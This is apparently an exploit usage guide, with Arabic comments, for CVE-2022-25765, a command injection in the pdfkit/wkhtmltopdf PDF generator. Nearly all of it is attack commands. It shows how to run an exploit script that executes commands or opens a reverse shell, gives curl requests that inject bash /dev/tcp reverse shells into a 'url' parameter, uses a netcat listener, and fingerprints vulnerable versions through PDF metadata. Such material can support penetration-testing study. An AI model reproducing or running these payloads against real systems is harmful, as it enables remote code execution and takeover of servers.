system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

pip install -r requirements.txt

# وضع الأمر المخصص (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -c "whoami"

# وضع الـ reverse shell (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# الوضع عبر الويب — إرسال الأمر مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# الوضع عبر الويب — reverse shell مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# المساعدة
python3 exploit-CVE-2022-25765.py -h

# الحقن عبر curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# أو باستخدام $() بدلًا من backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# أمر بسيط
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

# إرسال عنوان URL واستقبال الاستدعاء
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# المستمع: nc -lnvp 4444
# إذا استلمت الطلب مع User-Agent: wkhtmltopdf، فإن التطبيق يحول PDFs

# التحقق من الإصدار في بيانات تعريف PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# ابحث عن: "Generated by pdfkit v0.8.6" (ضعيف)